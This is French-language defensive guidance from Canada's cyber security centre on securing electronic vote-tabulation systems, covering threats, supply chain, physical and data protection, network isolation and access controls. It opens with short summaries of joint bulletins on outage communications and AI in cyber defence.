Les interruptions de service qui affectent les systèmes de technologie de l’information (TI) et les systèmes de technologies opérationnelles (TO) peuvent être la source de perturbations et de dommages pour les clients, les responsables de la défense des réseaux, les propriétaires et les exploitants d’infrastructures essentielles, ainsi que pour le grand public. Ce guide conjoint explique pourquoi des communications efficaces sont cruciales, pendant des interruptions de service, pour réduire au minimum les impacts opérationnels, préserver la crédibilité et la connaissance de la situation, et appuyer les efforts d’intervention. Il présente également les mesures que les fournisseurs de services devraient prendre dans le but de se préparer à communiquer de manière efficace dans le cadre d’interruptions de service, soit :

• élaborer un plan de communication avec des seuils définis pour les incidents et les auditoires cibles;
• privilégier la transparence et utiliser des messages rédigés en langage clair;
• fournir une analyse des causes fondamentales et des informations techniques à l’intention des utilisateurs finaux;
• veiller à ce que les messages respectent les exigences légales et réglementaires.

Consultez la version intégrale du bulletin : Communicating Under Pressure: Best Practices for Service Providers (en anglais seulement)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint à l’Australian Cyber Security Centre (ACSC) de l’Australian Signals Directorate (ASD) et aux partenaires étrangers suivants pour publier un bulletin en matière de cybersécurité sur les possibilités relatives à l’utilisation de l’intelligence artificielle (IA) en cyberdéfense :

• le National Cyber Security Centre de la Nouvelle-Zélande (NCSC-NZ);
• le National Cyber Security Centre du Royaume-Uni (NCSC-UK).

L’intelligence artificielle recèle d’innombrables possibilités pour les responsables de la cyberdéfense. Lorsqu’elle est utilisée de façon sûre, sécurisée et responsable, l’IA peut :

• renforcer la priorisation des risques en matière de cybersécurité;
• améliorer la détection des menaces et des vulnérabilités;
• accélérer l’intervention et la reprise des activités;
• réduire le recours à des tâches manuelles répétitives.

Le bulletin conjoint explique aux organisations comment elles peuvent utiliser l’IA pour améliorer leur cybersécurité tout en gérant les risques connexes. Il décrit également l’évolution de l’environnement de cybersécurité et les façons dont l’IA peut appuyer les activités essentielles en matière de sécurité, notamment la gouvernance, l’établissement des risques, la protection des systèmes, la détection des menaces, ainsi que l’intervention et le rétablissement en cas d’incident.

Le bulletin fournit des principes pratiques pour l’adoption sécurisée de l’IA et comprend des questions importantes que les équipes de cybersécurité devraient poser aux fournisseurs d’IA pour assurer une utilisation sûre et sécurisée des outils d’IA.

Consultez la version intégrale du bulletin : Opportunities for AI in cyber defence - Use of AI by cyber-security teams (en anglais seulement)

Les systèmes de dépouillement des votes, aussi appelés technologies de compilation des votes, sont de plus en plus adoptés pour remplacer le dépouillement manuel lors d’élections démocratiques. Ces technologies peuvent aider à améliorer l’efficacité du processus de compilation électronique des votes et à réduire les erreurs humaines lors du processus de dépouillement des votes.

La présente publication contient de l’orientation sur les facteurs à considérer en matière de cybersécurité et sur les exigences relatives aux systèmes dont il faut tenir compte avant de déployer des urnes électroniques lors d’élections démocratiques. Elle met en lumière les principaux risques, menaces et mécanismes de protection dont devraient tenir compte les organismes électoraux lors de l’évaluation des systèmes de dépouillement des votes.

Portée

Ce document d’orientation s’applique uniquement aux systèmes de compilation des bulletins de vote papier et non aux systèmes qui traitent des bulletins de vote électroniques. Bien que certaines des recommandations formulées puissent aussi s’appliquer aux systèmes traitant des bulletins de vote électroniques, il faut savoir qu’elles pourraient ne pas atténuer complètement les menaces propres à ces systèmes.

Vote électronique

Les architectures de système de vote électronique sont complexes et peuvent comporter de nombreux systèmes différents. Une architecture de système de vote électronique décrit les composantes des systèmes d’information sollicitées dans le cadre du vote électronique et la manière dont elles interagissent entre elles. Ces systèmes comprennent notamment :

• des sites Web publics;
• des systèmes d’inscription des partis;
• des systèmes d’inscription pour l’électorat;
• des systèmes de création et d’impression de bulletins de vote;
• des systèmes de gestion des élections;
• des systèmes de vote en ligne;
• des systèmes de dépouillement et de compilation des votes;
• des systèmes de publication des résultats.

Ces systèmes reposent souvent sur des technologies logicielles et micrologicielles distinctes, peuvent être interconnectées et peuvent échanger des données au moyen de divers protocoles réseau. La figure 1 illustre une architecture générique et moderne de système de vote électronique, qui est basée sur le Handbook for Elections Infrastructure Security (en anglais seulement) du Center for Internet Security (CIS).

La figure 1 : Architecture générique d’un système électoral est une représentation visuelle d’une architecture générique de système de vote électronique. L’image présente des détails sur le cycle de traitement des bulletins de vote, de leur création et impression jusqu’à leur dépouillement et à leur compilation et à la publication des résultats électoraux.

Les composantes illustrées représentent la totalité de l’architecture générique d’un système électoral, ce qui comprend :

1. les systèmes d’inscription pour l’électorat;
2. l’inscription et la vérification des partis et des candidatures;
3. la gestion des finances liées à la campagne;
4. les systèmes de gestion des élections;
5. la création et l’impression de bulletins de vote;
6. les cahiers de scrutin électroniques;
7. les appareils de saisie des bulletins de vote;
8. le dépouillement et la compilation des votes;
   • les lecteurs de bulletins de vote;
   • le dépouillement des votes et les urnes électroniques;
9. la transmission et la publication des résultats.

Le présent document d’orientation est axé sur les composantes de cette architecture qui ont trait au dépouillement et à la compilation des votes. Les recommandations formulées portent sur les principaux enjeux liés à la cybersécurité et aux opérations, lesquels nécessitent une attention particulière afin de veiller au déploiement et à l’exploitation sécuritaires de ces systèmes. Commençons par une description générique des systèmes de dépouillement et de compilation des votes.

Dépouillement et compilation des votes

Le dépouillement et la compilation des votes représentent le processus de comptage et de totalisation des bulletins de vote utilisés et non utilisés dans le cadre d’une élection. Le processus comprend le rassemblement des bulletins de vote valides et invalides (nuls), le comptage des bulletins de vote non utilisés, et la totalisation des bulletins de vote valides pour chacune des candidatures électorales. Le dépouillement et la compilation des bulletins de vote peuvent se faire manuellement ou à l’aide de systèmes électroniques, comme des urnes électroniques. Les deux méthodes sont susceptibles d’entraîner des erreurs durant le processus pour différentes raisons. Par exemple, la fatigue et l’inattention du personnel électoral peuvent entraîner des erreurs de calcul lors du dépouillement manuel des bulletins de vote. De même, des failles logicielles ou une atteinte à l’intégrité des urnes électroniques peuvent engendrer la classification erronée des votes. En général, il est important que les administratrices et administrateurs de scrutin évaluent continuellement les méthodes de dépouillement et mettent en place des mécanismes permettant de déterminer ou de confirmer que les processus de dépouillement fonctionnent dans les limites des taux d’erreur jugés acceptables.

La méthode de dépouillement des votes employée est souvent prévue par la loi. En effet, la Loi électorale du Canada prévoit, par exemple, que les bulletins de vote déposés lors des élections fédérales soient dépouillés manuellement. En revanche, certains territoires et certaines provinces et municipalités ont modifié leurs lois électorales pour autoriser l’utilisation d’urnes électroniques lors de leurs élections.

De façon générale, un processus usuel de dépouillement et de compilation des bulletins de vote comprend les activités suivantes :

• Valider chacun des bulletins de vote;
• Trier les bulletins de vote déposés et faire le décompte des bulletins valides et invalides (nuls);
• Établir le total de votes valides obtenus pour chacune des candidatures;
• Produire un tableau récapitulatif des bulletins de vote comptabilisés.

Il est à noter que la transmission des résultats électoraux est considérée comme un processus distinct, car il peut nécessiter d’autres composantes de système pour la transmission de l’information. Dans le cas de l’agrégation des résultats, il peut aussi s’avérer nécessaire de compiler une nouvelle fois les résultats dans une installation centralisée avant la publication des résultats officiels.

Les méthodes suivantes peuvent être utilisées pour la compilation des bulletins de vote lors des élections.

Dépouillement et compilation manuels

Selon cette méthode, le personnel électoral procède manuellement au tri, à la validation et au comptage des bulletins de vote papier. Toutes les activités s’effectuent à la main, dont la production de tableaux présentant les résultats électoraux. Comme l’indique Élections Canada dans le Manuel du directeur de scrutin, lors d’élections fédérales canadiennes, les bulletins de vote sont dépouillés manuellement aux bureaux de scrutin, et les résultats préliminaires sont ensuite transmis (souvent par téléphone) à la directrice ou au directeur de scrutin d’Élections Canada.

Lorsque les élections reposent principalement sur une autre méthode de compilation des votes (par exemple dans le cadre d’élections provinciales ou municipales), le dépouillement et la compilation manuels des bulletins de vote servent souvent de solution de rechange. Le dépouillement et la compilation manuels de bulletins de vote sont aussi utilisés dans le cadre de vérifications électorales. Il peut être fastidieux et long de procéder au dépouillement et à la compilation manuels de bulletins de vote, surtout pour les bureaux de scrutin dont l’électorat est important. Bien que les méthodes de dépouillement manuel offrent souvent un degré de confiance accru en raison de leur simplicité et de leur facilité de vérification, elles peuvent néanmoins donner lieu à des erreurs et à une certaine subjectivité humaine.

Dépouillement et compilation électroniques

Cette méthode consiste à utiliser des urnes électroniques pour trier, valider et compter les bulletins de vote. Elle permet de faire le décompte des bulletins de vote papier et numériques. Les bulletins de vote papier sont insérés dans l’appareil aux fins d’analyse, tandis que les bulletins de vote numériques sont recueillis et traités par l’urne électronique. Les urnes électroniques peuvent comprendre une imprimante intégrée ou être compatibles avec des imprimantes externes. Toutefois, il est à noter que tout appareil périphérique ou externe connecté à une urne électronique doit respecter les mêmes normes de contrôle de sécurité que le système de compilation des votes. Il est également recommandé de préserver l’indépendance entre le système de dépouillement et le système de création des bulletins de vote afin qu’une compromission de l’un ne compromette pas l’autre.

Types d’urnes électroniques

Il existe différents types d’urnes électroniques, souvent définis selon leur fonction, leurs capacités et leurs cas d’utilisation.

Urnes électroniques autonomes

Il s’agit d’appareils de numérisation qui lisent et enregistrent les bulletins de vote dans un bureau de scrutin. Elles sont conçues pour une utilisation peu intensive. Elles peuvent également intégrer des capacités programmables additionnelles pour faciliter la validation, le tri et le comptage des bulletins de vote, ainsi que le traitement des résultats à l’échelle locale.

Urnes électroniques centralisées

Il s’agit d’appareils permettant de traiter les bulletins de vote de manière centralisée. Elles sont habituellement de calibre industriel et conçues pour traiter un grand nombre de bulletins de vote. Elles permettent également d’effectuer efficacement des recomptages à grande échelle et de procéder au traitement des votes par correspondance.

Urnes électroniques à lecteur optique

Il s’agit d’appareils dotés de lecteur optique qui sont couramment utilisés pour aider au traitement des bulletins de vote papier marqués. Ces numériseurs s’appuient sur des technologies de reconnaissance optique de caractères ou de reconnaissance optique de marques pour lire les bulletins de vote. Ils génèrent une version numérique d’un bulletin de vote original, laquelle peut ensuite faire l’objet d’un traitement additionnel. Les systèmes à lecteur optique sont souvent utilisés pour traiter les bulletins de vote par correspondance.

Analyse des menaces

Le Centre pour la cybersécurité publie des rapports d’évaluation périodiques sur les cybermenaces contre le processus démocratique du Canada. Dans la dernière mise à jour du rapport, le Centre pour la cybersécurité juge que les processus démocratiques à l’échelle mondiale demeurent une cible d’intérêt pour les auteurs de cybermenace et que la probabilité que des auteurs de cybermenace ciblent les élections canadiennes est presque certaine. Les systèmes de compilation de votes pourraient certainement introduire de nouvelles vulnérabilités au sein du processus électoral et devenir des cibles pour certains auteurs de menace étatiques motivés. Les organismes électoraux devraient mener des évaluations rigoureuses des risques et des menaces afin de bien comprendre les risques associés à l’utilisation de ces systèmes et de veiller à la protection des systèmes de compilation des votes contre ces menaces.

Les auteurs de menace cherchent souvent à miner la confiance du public par rapport à la légitimité du processus démocratique. Selon le rapport de 2025 sur les cybermenaces contre le processus démocratique du Canada, des auteurs de menace parrainés par des États pourraient tenter de miner la confiance du public en altérant le contenu des appareils utilisés durant le processus électoral. Des auteurs de menace pourraient donc infiltrer et compromettre les chaînes d’approvisionnement utilisées pour l’acquisition des urnes électroniques. Ils pourraient également mener des attaques visant à perturber le fonctionnement de ces appareils, ce qui pourrait nuire au bon déroulement des élections. Ils pourraient en outre lancer des campagnes de mésinformation ou de désinformation ciblées pour propager des informations erronées au sujet du fonctionnement des urnes électroniques, minant ainsi la confiance du public et de l’électorat.

Les auteurs de menace parrainés par des États ont mené plusieurs attaques contre des systèmes et des processus électoraux dans les dernières années. L’Ukraine, l’Estonie, l’Équateur et même le Royaume-Uni en sont d’ailleurs des exemples. Parmi les vecteurs d’attaque observés figurent le déploiement de maliciels perturbateurs sur les serveurs employés pour compiler les votes ainsi que l’insertion de faux résultats dans le but de les diffuser publiquement.

Compte tenu du contexte actuel des menaces, il est fort probable que des cybercriminelles et cybercriminels et des acteurs parrainés par des États cibleront les processus de dépouillement et de compilation des votes afin d’atteindre leurs objectifs généraux. Les auteurs de menace pourraient mener des attaques et cibler les systèmes de dépouillement et de compilation des votes de diverses façons, notamment les suivantes :

• Prendre le contrôle des systèmes de compilation des votes afin de modifier les résultats;
• Infiltrer des fabricants de composantes de système ou d’appareil afin de compromettre la chaîne d’approvisionnement des appareils de dépouillement et de compilation des votes;
• Compromettre les bases de données électorales, entraînant la divulgation non autorisée de renseignements confidentiels sur l’électorat et minant la confiance à l’égard du processus démocratique;
• Perturber les fonctions du système de compilation des votes au moyen d’attaques par épuisement des ressources ou d’attaques destructrices, telles que les attaques par déni de service distribué (DDoS) et les attaques par rançongiciel;
• Se faire passer pour des organismes électoraux afin de propager de la mésinformation ou de fausses informations au sujet de l’intégrité du processus ou des appareils de compilation des votes, dans le but d’affaiblir la confiance du public à l’égard du processus démocratique;
• Compromettre des justificatifs d’identité donnant des accès privilégiés afin d’accéder aux systèmes dorsaux et de modifier les registres de compilation des votes ou de lancer d’autres attaques perturbatrices.

Considération en matière de contrôles de sécurité

La présente section fait état des contrôles de sécurité importants que vous devriez considérer avant d’acquérir, de déployer et d’utiliser des systèmes de compilation des votes. Ces recommandations s’appuient sur la publication du Centre pour la cybersécurité intitulée Gestion des risques liés à la cybersécurité et à la vie privée : Une méthode axée sur le cycle de vie (ITSP.10.033). Les administratrices et administrateurs de scrutin devraient tenir compte des principes fondamentaux de conception et de sécurité des systèmes afin de protéger le matériel, les micrologiciels, les composantes logicielles et tout processus connexe.

Sécurité matérielle et physique

Les niveaux de protection physique pour les systèmes de compilation des votes sont essentiels afin de garantir la fiabilité des autres contrôles de sécurité et le fonctionnement prévu de tout le système. Les urnes électroniques doivent être conçues, fabriquées, exploitées et mises hors service conformément à des principes de sécurité dès la conception afin d’être mieux protégées contre les menaces, notamment une compromission de la chaîne d’approvisionnement à tout moment durant le cycle de vie.

Concevoir des systèmes capables de gérer les risques physiques et environnementaux

Les urnes électroniques devraient être conçues de manière à assurer leur résilience opérationnelle. Les appareils, les supports de stockage et toute autre composante de système devraient être capables de gérer les risques physiques et environnementaux, comme les chocs physiques, l’humidité élevée et les fluctuations de température, afin d’empêcher la perte de données. Ces appareils devraient également disposer d’une alimentation électrique d’urgence. Un système d’alimentation de secours intelligent permettra également d’effectuer une mise hors tension contrôlée du système. Il est important de protéger les appareils et leurs données électroniques en cas de pannes ou de surtension. Nous recommandons également de penser à mettre en place un écran électromagnétique et un sceau d’inviolabilité.

Fabriquer l’appareil pour l’usage prévu

Les urnes électroniques devraient être fabriquées de manière à remplir une seule fonction afin de garantir que les mécanismes de sécurité sont exécutés dans des périmètres de sécurité définis. Les systèmes à fonction unique réduisent la complexité associée aux conceptions à usages multiples et garantissent la délimitation claire des fonctions du système et l’application adéquate des restrictions de sécurité. Les systèmes à usage général ou à usages multiples élargissent la surface d’attaque, offrant aux adversaires davantage d’occasions de compromettre le système. Nous recommandons que les urnes électroniques soient des systèmes spécialisés, conçus expressément pour cette fonction et dédiés à un usage unique.

Exploiter des systèmes dotés de contrôles d’accès physiques rigoureux

Lorsque vous déployez et exploitez des urnes électroniques, vous devriez appliquer des contrôles d’accès physiques rigoureux. Seules les personnes autorisées apparaissant sur les listes d’accès approuvé devraient pouvoir accéder physiquement aux appareils avant, durant et après les élections. Il faut aussi surveiller les endroits où sont entreposés, déployés et transportés ces appareils durant tout leur cycle de vie, et des mécanismes devraient être en place pour détecter et décourager tout accès non autorisé. Au moment de déterminer les endroits où déployer les urnes électroniques, il faut penser à des mécanismes de sécurité visant à empêcher toute observation et tout accès interdits des appareils. Les écrans des appareils devraient être configurés de manière à empêcher que les informations affichées à l’écran puissent être lues ou observées à distance. Les organismes de gestion électorale devraient tenir des registres des accès pour chaque appareil tout au long de son cycle de vie, depuis son acquisition jusqu’à sa mise hors service.

Surveiller les systèmes et tenir des registres rigoureux liés à la chaîne de possession

La tenue de registres liés à la chaîne de possession contribue de façon significative à garantir l’intégrité physique et logique des urnes électroniques. Les administratrices et administrateurs de scrutin devraient appliquer des pratiques rigoureuses en matière de chaîne de possession pour empêcher toute falsification ou autre modification malveillante des appareils. Les mesures suivantes constituent des moyens de protéger les urnes électroniques ainsi que les données qui y sont stockées :

• Consigner tous les déplacements des urnes électroniques de même que leurs accès durant leur cycle de vie;
• Appliquer des sceaux d’inviolabilité;
• Transporter les urnes électroniques dans des contenants sécurisés entre les bureaux de scrutin;
• Documenter et vérifier la chaîne de possession lors du transport des urnes électroniques;
• Protéger et authentifier tous les accès physiques à l’équipement de compilation des votes;
• Examiner les contrôles de surveillance en matière de sécurité avant, durant et après les élections pour valider leur efficacité;
• Mettre hors service les appareils lorsqu’il est impossible de valider de manière sûre leur chaîne de possession.

Les procédures de mise hors service des appareils doivent garantir le nettoyage de manière cryptographique de toutes les données qu’ils contiennent avant leur élimination ou leur destruction. Il faut uniquement recourir à des méthodes de nettoyage adaptées au support de stockage et au contexte d’utilisation. Certaines méthodes de nettoyage ne sont pas efficaces ou adaptées à certains types de support. Par exemple, dans le cas des disques à circuits intégrés, au moins deux cycles d’écrasement des données suivis d’un effacement sécurisé sont requis pour satisfaire aux exigences de nettoyage des données. Pour en savoir plus sur les recommandations du Centre pour la cybersécurité, consultez le document Nettoyage des supports de TI (ITSP.40.006).

Sécurité associée au cycle de vie

Les processus démocratiques peuvent être exposés à des menaces persistantes et planifiées en raison des risques associés au cycle de vie des systèmes. Dans le cadre de la gestion des risques liés à la sécurité des technologies de l’information (TI), le « cycle de vie » se définit comme la conception ou le développement, l’acquisition, l’intégration ou l’installation, l’exploitation, la surveillance, la maintenance et l’élimination d’actifs de TI qui, aux fins du présent document, comprennent les urnes électroniques. Parmi les exemples de risques associés au cycle de vie des urnes électroniques figurent leur acquisition par l’intermédiaire de chaînes d’approvisionnement non sécurisées, ou leur conception ou développement par des fabricants non vérifiés ou non dignes de confiance. Par conséquent, la sécurité devrait être prise en considération à toutes les étapes du cycle de vie d’une urne électronique, et les risques potentiels permettant à des auteurs de menace de compromettre l’intégrité du processus électoral devraient être atténués.

Acquérir des appareils par l’intermédiaire de chaînes d’approvisionnement de confiance

Les systèmes de compilation des votes contiennent généralement des millions de micro-composantes individuelles ainsi que divers sous-systèmes, comme un module de numérisation des images, un module de vérification des bulletins de vote papier, des micrologiciels ou logiciels, des systèmes d’alimentation, des unités de stockage des données, et d’autres composantes. Des auteurs de menace peuvent infiltrer les chaînes d’approvisionnement pour compromettre la sécurité de ces appareils et systèmes. La complexité des cycles de vie des systèmes modernes rend difficile, pour les systèmes commerciaux, la garantie d’une protection contre les compromissions introduites au sein de la chaîne d’approvisionnement. Par conséquent, les organisations devraient partir du principe que de telles compromissions peuvent être présentes sur leurs appareils. Nous vous recommandons d’adopter des stratégies visant à évaluer et à atténuer les risques liés à la chaîne d’approvisionnement en vous appuyant sur l’approche du Centre pour la cybersécurité en matière d’évaluation des risques de cybersécurité associés à la chaîne d’approvisionnement.

Les organismes électoraux devraient acquérir les urnes électroniques et les composantes de système par l’intermédiaire de chaînes d’approvisionnement de confiance et inspecter physiquement les appareils avant et après les avoir acquis, de même qu’avant, durant et après les élections. Les urnes électroniques devraient être munies de rubans de sécurité, d’étiquettes de sécurité et de sceaux d’inviolabilité permettant de détecter tout accès physique non autorisé ou toute modification non autorisée du matériel ou des composantes physiques du système.

Les administratrices et administrateurs de scrutin devraient mettre en place des procédures d’approvisionnement sécurisées pour limiter le potentiel d’infiltration des chaînes d’approvisionnement par des auteurs de menace. Les mesures suivantes pourraient contribuer à assurer la sécurité de la chaîne d’approvisionnement de l’infrastructure des urnes électroniques :

• Mettre sur pied un programme de gestion des risques liés à la chaîne d’approvisionnement pour évaluer les risques associés aux processus d’approvisionnement;
  • Évaluer et vérifier tous les fournisseurs de technologies afin de s’assurer que leurs processus sous-jacents et leurs relations sont sécurisés;
  • Évaluer régulièrement les fournisseurs et leurs pratiques en matière de cybersécurité;
• S’assurer que seuls les fournisseurs vérifiés et de confiance ont accès aux données électorales sensibles et du système durant tout le cycle de vie lié au développement du système;
• Collaborer avec des fournisseurs de technologies pour s’assurer que des processus de vérification sont en place;
  • S’assurer que les composantes des urnes électroniques sont authentiques et qu’elles n’ont pas été compromises dans le cadre de relations avec des tiers;
  • Plus précisément, travailler avec des fabricants d’urnes électroniques en vue de mettre en œuvre des mécanismes permettant de valider l’intégrité du matériel, des micrologiciels et des logiciels exécutés sur les appareils;
• Les organismes électoraux peuvent aussi demander des renseignements détaillés sur la nomenclature du matériel ou la nomenclature des logiciels afin d’assurer un suivi adéquat des risques de vulnérabilité associés aux composantes matérielles et logicielles.

Pour en savoir plus sur la cybersécurité de la chaîne d’approvisionnement, consultez les documents Menaces à la chaîne d’approvisionnement et espionnage industriel et Cybersécurité de la chaîne d’approvisionnement pour les petites et moyennes organisations (ITSAP.00.070).

Évaluation continue des risques

Les autorités de gestion des élections doivent mener une analyse exhaustive des risques sur l’utilisation d’urnes électroniques et comprendre les possibles répercussions sur la sécurité du processus électoral dans son entier. L’évaluation des risques liés à l’utilisation d’urnes électroniques ne doit pas se faire de façon isolée.

Déterminer les risques associés à l’utilisation de systèmes de compilation

Les OGE doivent envisager les technologies électorales selon une approche de gestion des risques. Même si les urnes électroniques donnent l’occasion d’améliorer les activités électorales, il est important de comprendre les risques connexes afin de les atténuer, de les accepter ou de les éviter. Le transfert des risques n’est pas acceptable, car la compromission d’un processus démocratique peut avoir des répercussions considérables sur la réputation. Les OGE doivent également éviter d’utiliser des urnes électroniques s’ils ne sont pas préparés ou disposés à accepter les risques connexes. Pour de plus amples informations sur l’évaluation et la gestion des risques, veuillez consulter les publications La gestion des risques liés à la cybersécurité et des risques d’atteinte à la vie privée : Une méthode axée sur le cycle de vie et Évaluation des risques à la sécurité pour les systèmes de vote en ligne dans les processus démocratiques (ITSM.10.103).

Protection de vos données

Les urnes électroniques traitent, créent et stockent les données du scrutin. Les données sont un bien essentiel de tout processus opérationnel, en particulier les processus démocratiques qui se fondent sur les systèmes numériques. C’est pourquoi vous devriez avoir des mécanismes de sécurité en place afin d’assurer la confidentialité, l’intégrité et la disponibilité de toutes les formes de données, qu’elles soient stockées sur le dispositif de compilation ou qu’elles se trouvent en transit aux fins de traitement.

Établir une stratégie holistique relative à la sécurité des données

Une stratégie holistique relative à la sécurité des données électorales doit être établie afin de régir et de sécuriser les données électorales pendant leur cycle de vie. Cette stratégie doit inclure les politiques sur les données, les procédures de traitement acceptable et les lignes directrices de gestion des données sur les urnes électroniques. Les politiques de sécurité des données peuvent comprendre des recommandations sur les types de support de stockage, les mécanismes de traitement sécurisé des données, les normes de cryptographie, les formats de données de stockage et le chiffrement des données. Vous pourriez également envisager d’effectuer une évaluation de sécurité des données afin de cerner tous les flux de données, les intrants et les extrants vers et depuis les urnes électroniques. Cependant, il n’y a aucun moyen sécurisé de connecter les urnes électroniques aux réseaux électroniques. Votre stratégie de sécurité des données doit aborder la façon de sécuriser les données des urnes électroniques pendant leur cycle de vie, de leur création à leur destruction. Par exemple, elle devrait aborder votre plan pour sécuriser les bulletins de vote physiques et numériques, restreindre et gérer les accès, mettre en œuvre le chiffrement des données et garantir la conformité avec les exigences juridiques où les données sont hébergées.

Bien classifier les données

La classification des données représente un élément crucial sur lesquelles se basent de nombreuses autres activités de sécurité, en particulier l’identification de mécanismes de contrôle de sécurité approprié pour protéger les données. Les données sur les urnes électroniques existent généralement à différents niveaux de classification, et le choix de mesures de protection ou de contrôles de sécurité doit en tenir compte. Le système de compilation de vote doit être conçu en fonction de la classification la plus élevée des données ou des composants du système. Par exemple, les urnes électroniques peuvent nécessiter de traiter des clés de chiffrement, et des certificats de validation des données pourraient être utilisés pour chiffrer et valider l’intégrité des données électorales.

Les clés cryptographiques représentent des données très sensibles ou pourraient nécessiter une classification élevée des données. Le système de compilation de vote doit être conçu pour mettre en œuvre des contrôles de sécurité du plus haut niveau déterminé. Pour en savoir plus sur l’évaluation de classification des données, consultez la publication Gestion des risques liés à la cybersécurité et à la vie privée : Catalogue des activités d’assurance et des contrôles de sécurité et de protection de la vie privée (ITSP.10.033).

La classification appropriée des données, combinée à des contrôles de traitement sécurisé correspondants, peut réduire les risques de compromission de données. Les autorités électorales doivent mettre en place des processus pour garantir que les biens ne sont accessibles qu’aux utilisatrices et utilisateurs selon le principe du besoin de savoir, et que les systèmes électoraux ne soient accessibles qu’au moyen de dispositifs ayant les autorisations de sécurité appropriées. De plus, seuls les dispositifs autorisés doivent être utilisés pour traiter et diffuser les données liées aux élections.

Protéger les données avec des contrôles cryptographiques

Les données des urnes électroniques doivent être protégées au moyen de mécanismes cryptographiques, qu’elles soient au repos ou en transit, y compris sur les dispositifs portables. Les données de scrutin et de dépouillement doivent être protégées contre la divulgation non autorisée et les attaques d’intégrité avant et après leur publication officielle par l’intermédiaire de canaux autorisés. Le chiffrement peut protéger les données conter la divulgation ou la modification non autorisée. Vous devriez déterminer où les données sont hébergées à différents moments pour veiller à appliquer les bons contrôles de sécurité afin d’atténuer les risques d’utilisation ou de divulgation non autorisée. Nous recommandons d’utiliser des algorithmes et des protocoles cryptographiques autorisés seulement. Pour en savoir plus sur les algorithmes cryptographiques recommandés, consultez les conseils sur les algorithmes cryptographiques pour l’information NON CLASSIFIÉ, PROTÉGÉ A et PROTÉGÉ B (ITSP.40.111). Il est important de maintenir un système sécurisé de gestion des clés cryptographiques. Veillez à gérer de façon sécurisée la création, le stockage et la destruction des clés cryptographiques. Mettez en œuvre une procédure de sauvegarde sécurisée des clés cryptographiques pour pouvoir récupérer les données.

Envisager des mesures de protection de la vie privée

Au Canada, les données électorales sont assujetties aux lois concernant la vie privée, notamment la Loi sur la protection des renseignements personnels. Ces lois exigent qu’un minimum de contrôles de sécurité, comme le chiffrement des données et des contrôles de gestion des accès, soient mis en œuvre afin de protéger l’information de l’électorat et du dépouillement des votes. Il est recommandé de mettre en œuvre des mesures de protection de la vie privée appropriées pour l’information de dépouillement et de l’électorat. La Loi électorale du Canada exige qu’Élections Canada communique les données de vote, y compris les résultats des élections, avec les partis politiques et les gouvernements provinciaux. Les urnes électroniques doivent être évaluées pour établir la conformité et l’harmonisation avec le caractère secret du scrutin et les lois sur la protection de la vie privée. Il faut également évaluer la résidence des données, car les lois électorales pourraient exiger que les données (en transit ou au repos) résident dans des frontières géographiques précises.

Protections d’isolation de réseau

En raison de l’environnement de menace et des risques connexes présentés par les activités de menace parrainées par des États, il est recommandé de ne pas connecter les urnes électroniques à un réseau à tout moment. Avant des élections, les urnes électroniques doivent être configurées sans connectivité réseau, y compris Bluetooth et Wi-Fi, et ne doivent jamais être connectées à Internet. Les données doivent être transférées à ou depuis une urne électronique au moyen de procédures ne nécessitant pas d’accès réseau, comme des dispositifs de stockage portatifs ou des procédures papier.

L’isolation réseau stricte (hermétique) est le moyen le plus efficace d’atténuer les compromissions préexistantes qui pourraient avoir été introduites par des attaques du cycle de vie. L’isolation réseau augmente fortement les efforts requis pour obtenir la commande et le contrôle à distance d’un système compromis et force les adversaires à activer ou à contrôler les urnes électroniques ou les systèmes connexes au moyen d’autres méthodes, comme une méthode acoustique ou procédurale, par exemple un administrateur de système compromis. Certaines attaques graves, comme la « bombe logique » qui s’active de façon autonome en fonction de conditions préétablies, peuvent demeurer sur le système même sans connectivité réseau, mais l’ampleur et la sophistication des attaques possibles sont réduites sans la commande et le contrôle du réseau.

Établir des mesures de défense réseau strictes

Bien que le déploiement d’urnes électroniques de vote sur un réseau ne soit pas recommandé, les administratrices et administrateurs de scrutin pourraient choisir de le faire. Dans ces cas, l’infrastructure réseau sous-jacente aux urnes électroniques doit être protégée contre l’interception, la divulgation ou la modification non autorisée des données et les attaques par déni de service. Vous devriez mettre en place des mesures de protection contre les attaques par rançongiciel qui pourraient cibler les systèmes de compilation. Vous devriez assurer le suivi des vulnérabilités et apporter tous les correctifs aux dispositifs avant de les déployer dans le cadre d’élections. Les mesures suivantes peuvent être prises pour mettre en œuvre une approche de défense en profondeur ou de défense par couche afin de protéger les réseaux contre les auteurs de menace.

• Utiliser des pare-feu ou des mesures de protection des zones de réseau pour restreindre l’accès réseau aux biens sensibles sur le réseau.
• Envisager de déployer des systèmes de détection des menaces du réseau et de protection contre celles-ci afin d’atténuer les attaques basées sur les réseaux.
• Mettre à jour les dispositifs réseau régulièrement pour minimiser l’exposition aux vulnérabilités.
• Renforcer les dispositifs réseau en désactivant les services, les ports, les protocoles et les applications inutiles.
• Éviter de connecter les urnes électroniques de vote aux réseaux publics ou non fiables.
• Désactiver la connectivité à Internet des urnes électroniques ou des systèmes interconnectés.
• Mettre en œuvre des mesures de protection contre les menaces associées avec la connectivité réseau de parties tierces (vendeurs ou partenaires).

Contrôles d’accès sécurisés

Au moment de concevoir et de construire un système de compilation, il est essentiel de bien gérer les privilèges utilisateur et administrateur, d’isoler les fonctions sensibles et d’intégrer les principes d’ingénierie de la sécurité. Les droits d’accès utilisateur doivent être restreints à ceux nécessaires pour accomplir les tâches assignées. Les fonctions de système doivent tenir compte du principe de droit d’accès minimal, qui ne donne aux utilisatrices et utilisateurs que les privilèges dont ils ont besoin pour accomplir leurs tâches. Les mesures recommandées suivantes peuvent vous aider à mettre en place des contrôles d’accès sécurisés dans les systèmes de compilation des votes.

• Vérifier que tout le personnel ayant des accès administrateur au système à tout moment du cycle de vie respecte les exigences nécessaires en matière de sécurité du personnel.
  • Par exemple, certains systèmes électoraux pourraient nécessiter que l’accès administrateur soit accordé seulement aux citoyennes ou citoyens canadiens détenant une habilitation de sécurité valide.
• Maintenir le filtrage de sécurité officiel du personnel ayant des accès administrateur tout au long du cycle de vie.
  • Exiger le filtrage de sécurité et la vérification des antécédents du personnel nécessitant des accès privilégiés ou administrateur à l’infrastructure électorale ou de vote : les développeuses et développeurs de logiciels, les techniciennes et techniciens d’assemblage, les gestionnaires de programme, les responsables de l’administration des élections fédérales.
  • Veiller à ce que les comptes d’administrateur ne soient utilisés que dans l’exécution de tâches administratives et que ces privilèges soient vérifiés régulièrement.
